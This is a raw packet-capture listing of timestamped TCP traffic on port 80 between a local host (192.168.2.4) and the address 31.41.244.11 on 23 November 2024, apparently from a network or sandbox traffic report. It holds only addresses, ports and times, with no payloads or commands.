Nov 23, 2024 11:22:15.507486105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.508327961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.508377075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.508459091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.509413004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.509473085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.509509087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.510318041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.510370970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.510397911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.510442019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.511317015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.511403084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.511460066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.512356043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.512443066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.512471914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.513432026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.513482094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.513530970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.514307022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.514354944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.514405966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.514447927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.515289068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.515402079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.515450954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.516284943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.516374111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.516422033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.517352104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.517411947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.517433882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.518320084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.518367052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.518397093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.519296885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.519359112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.519395113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.520328045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.520386934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.520463943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.521352053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.521406889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.521486998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.521533966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.522294044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.522505045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.522556067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.523318052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.523461103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.523514032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.524297953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.524343967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.524405003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.525311947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.525377035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.525407076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.525614023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.526315928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.526370049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.526496887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.526550055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.527340889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.527432919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.527462006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.527477026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.528338909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.528386116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.528446913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.528484106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.529330969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.529407024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.529426098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.529467106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.530299902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.530353069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.530389071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.530432940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.531306028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.531363964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.531441927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.531481028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.532301903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.532361984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.532428980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.532520056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.533327103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.533375025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.533428907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.533493042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.534285069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.534333944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.534373045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.534414053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.535294056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.535352945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.535388947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.535430908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.536297083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.536349058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.536429882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.536483049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.537303925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.537352085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.537589073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.537635088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.538289070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.538384914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.538470984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.538520098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.539351940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.539364100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.539398909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.540272951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.540326118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.540361881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.540446043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.541304111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.541486025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.541497946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.541604042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.542282104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.542329073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.542387962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.542437077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.543375969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.543389082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.543425083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.543441057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.544275999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.544322014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.544353962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.544394970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.545332909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.545378923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.545445919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.545486927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.694705963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.694806099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.694875002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.695278883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.695290089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.695329905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.696238995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.696291924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.696326971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.696445942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.697225094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.697274923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.697521925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.697567940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.697650909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.697693110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.698556900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.698601961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.698623896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.698668003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.699534893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.699579954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.699640036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.699682951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.700536013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.700659037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.700710058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.701539040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.701648951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.701787949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.702564001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.702635050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.702723980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.702739000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.703536987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.703584909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.703694105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.703737974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.704540968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.704660892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.704713106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.705550909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.705657005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.705705881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.706587076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.706631899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.706665993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.707525015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.707575083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.707638025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.708440065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.708524942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.708606005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.708643913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.709551096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.709717989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.709764957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.710536003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.710634947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.710684061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.711545944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.711591959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.711678028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.712436914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.712563038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.712605953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.712671041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.712714911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.713517904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.713577986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.713709116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.713756084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.714564085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.714605093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.714607000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.715527058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.715574980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.715604067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.716437101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.716525078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.716608047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.716653109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.717525959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.717643976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.717694998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.718580008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.718652010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.718698978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.719552040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.719595909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.719621897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.720444918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.720556974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.720602036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.720679998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.720724106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.721573114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.721620083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.721656084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.721698046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.722578049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.722625017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.722703934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.722743034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.723557949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.723602057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.723689079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.723736048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.724533081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.724669933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.724714994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.725541115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.725667953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.725716114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.726525068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.726638079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.726685047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.727525949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.727574110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.727638006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.728440046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.728528023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.728571892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.728574038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.729536057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.729583025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.729603052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.730554104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.730617046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.730710030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.730752945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.731558084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.731632948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.731678963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.732538939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.732651949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.732702017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.733527899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.733575106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.733630896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.734540939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.734587908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.734689951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.735529900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.735594034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.735615969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.735657930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.736502886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.736655951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.736706018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.737546921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.737674952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.737719059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.738554955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.738600016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.738698959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.739547968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.739594936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.739619970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.740441084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.740508080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.740585089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.740631104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.741537094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.741638899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.741688013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.742505074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.742547989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.742597103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.743545055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.743597984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.743616104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.743666887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.744538069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.744647026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.744698048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.745524883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.745620966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.745672941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.746520042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.746566057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.746604919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.748437881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.896068096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.896095037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.896219015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.896667004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.896698952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.896758080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.897609949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.897622108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.897663116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.897701025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.898587942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.898631096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.898879051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.898926020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.898993015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.899038076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.899904013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.899951935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.900036097 CET	80	49765	31.41.244.11	192.168.2.4
